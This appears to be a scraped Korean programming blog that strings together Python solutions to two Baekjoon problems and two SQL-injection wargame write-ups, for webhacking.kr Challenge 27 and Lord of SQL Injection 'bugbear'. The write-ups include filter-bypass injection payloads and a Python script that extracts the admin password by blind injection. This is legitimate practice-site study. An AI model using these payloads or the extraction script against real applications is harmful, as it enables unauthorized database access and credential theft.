import sys

t=int(sys.stdin.readline())
for _ in range(t):
    n=int(sys.stdin.readline())
    note1=set(map(int, sys.stdin.readline().split()))
    m=int(sys.stdin.readline())
    note2=list(map(int, sys.stdin.readline().split()))
    for i in note2:
        if  i in note1:
            print(1)
        else:
            print(0)

<코드 설명>

testcase t를 먼저 입력받아주었다.

t만큼 for문으로 반복시켜 수첩1의 정수 개수인 n, n개의 수첩1 정수들, 수첩2의 정수 개수인 m, m개의 수첩2 정수들을 모두 입력받아주었다.

note2 속 원소인 i가 note1에 속해 있다면 1을 출력해주고, 그렇지 않으면 0을 출력하도록 하였다.

시간초과를 대비하여 import sys를 이용하여 입력받아주었다.

 

 

<실행결과>

'Algorithm > BOJ' 카테고리의 다른 글

[BOJ] 13417 카드 문자열  (0) 2022.11.06
[BOJ] 1065 한수  (0) 2022.10.09
[BOJ] 9322 철벽 보안 알고리즘  (0) 2022.10.09
[BOJ] 1463 1로 만들기  (0) 2022.10.02
[BOJ] 2910 빈도 정렬  (0) 2022.10.02

tc=int(input())
for _ in range(tc):
    n=int(input())
    k1=list(input().split())
    k2=list(input().split())
    p=list(input().split())

    s = []
    for i in k1:
        s.append(k2.index(i))
    
    arr = []
    for i in s:
        arr.append(p[i])
    
    result = ""
    for s in arr:
        result += s + " "
    print(result.strip())

<코드 설명>

testcase를 먼저 입력받아주었다.

tc만큼 for문으로 반복시켜 한 문장의 단어 수인 n, 제 1 공개키인 k1, 제 2 공개키인 k2, 암호문인 p를 입력받아주었다.

k2에서의 k1 원소인 i의 인덱스를 s에 추가해주었다. 이렇게 k2의 암호화 방식을 저장하였다.

저장된 s의 원소인 i를 이용해 arr에 p[i]를 추가해주었다. k2의 암호화 방식대로 p를 저장해주는 것이다.

그리고 이 리스트를 문자열로 바꾸어 출력해주었다.

 

<실행결과>

'Algorithm > BOJ' 카테고리의 다른 글

[BOJ] 1065 한수  (0) 2022.10.09
[BOJ] 2776 암기왕  (0) 2022.10.09
[BOJ] 1463 1로 만들기  (0) 2022.10.02
[BOJ] 2910 빈도 정렬  (0) 2022.10.02
[BOJ] 25325 학생 인기도 측정  (0) 2022.10.02

위는 Challenge 27의 초기 화면이다.

 

view-source를 이용해 아래 코드를 확인해주었다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

위 코드와 같이 id가 admin이면 된다.

admin's no는 2라고 적혀있다.

 

id='guest' and (0) or no like 2-- 를 통해 no를 2로 만들어주었다.

 

?no=0%29%09or%09no%09like%092--%09

 

 

 

'Web Hacking > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Challenge 23  (0) 2022.11.12
[webhacking.kr] Challenge 47  (0) 2022.11.06
[webhacking.kr] Challenge 25  (0) 2022.10.02
[webhacking.kr] Challenge 19  (0) 2022.09.24
[webhacking.kr] Challenge 20  (0) 2022.09.18

pw에서 싱글쿼터의 입력을 막아두었고,

no에서는 substr, ascii, =, or, and, like, 0x, 공백의 입력을 막아두고 있다.

 

위와 같은 쿼리를 통해 패스워드의 길이가 8임을 알 수 있었다.

?no=1%09||%09id%09in%09("admin")%26%26length(pw)%09in%09(8)

 

아래는 비밀번호 구하는 자동화 스크립트이다.

ascii를 사용하지 못하기 때문에 hex를 이용해주었다.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
cookies = {'PHPSESSID' : '4mq62u7cdjpstq522icoooqir5'}

arr=[]    
for k in range(1,9):
    for j in range(32,127):
        val='no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(k)+',1)%0ain%0a("'+chr(j)+'")'
        res=requests.get(url+val, cookies=cookies)
        if "Hello admin" in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

이 비밀번호를 이용해 ?pw=52dc3991를 입력해주었더니 아래와 같이 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] assassin  (0) 2022.11.12
[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18

+ Recent posts